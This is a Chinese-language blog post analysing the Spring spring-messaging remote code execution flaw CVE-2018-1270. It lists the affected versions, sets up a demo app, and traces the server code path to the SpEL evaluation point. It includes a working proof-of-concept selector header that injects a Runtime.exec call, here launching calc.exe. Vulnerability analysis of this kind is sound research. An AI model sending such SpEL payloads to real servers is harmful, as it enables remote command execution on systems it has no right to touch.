CVE-2018-1270 spring-messaging Remote Code Execution 分析
Apr 11, 2018
1 minute read

0x01 概述

CVE-2018-1270: Remote Code Execution with spring-messaging

0x02 影响版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.15
  • Older unsupported versions are also affected

0x03 环境搭建

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

0x04 漏洞利用

在app.js中增加一个header头

function connect() {
    var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        }, header);
    });
}

spring-boot:run运行,connect建立连接后,点击发送触发漏洞

clac

0x05 漏洞分析

在点击发送消息后,spring-message会对消息头部进行处理,相关方法在org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java addSubscriptionInternal()

selector 通过sessionIdsubsId确定一个selector属性,后续服务端就通过这个subsId来查找特定会话,也就是从headers头部信息查找selector,由selector的值作为expression被执行

点击Send后,org/springframework/messaging/simp/broker/SimpleBrokerMessageHandler.java接收到message,message的headers头部信息包含了selector的属性,message传进this.subscriptionRegistry.findSubscriptions,由findSubscriptions()进行处理

sendMessageToSubscribers

跟进相关方法 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java

@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
	MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
	return filterSubscriptions(result, message);
}

result的值作为filterSubscriptions()allMatches参数传入,遍历出sessionIdsubsId,此时的result为

result 跟进filterSubscriptions()

经过两层for循环,id为sub-0的subscription被赋值给sub(P.S. 此图是后来补的,故sessionId不一样)

for sub 通过sub.getSelectorExpression()得到expression的值,此时的expression就包含着我们发送的表达式

expression

再往下,执行到expression.getValue(),SpEL得到执行,触发poc

calc

0x06 补丁

https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a#diff-ca84ec52e20ebb2a3732c6c15f37d37a

0x07 参考


Back to posts


comments powered by Disqus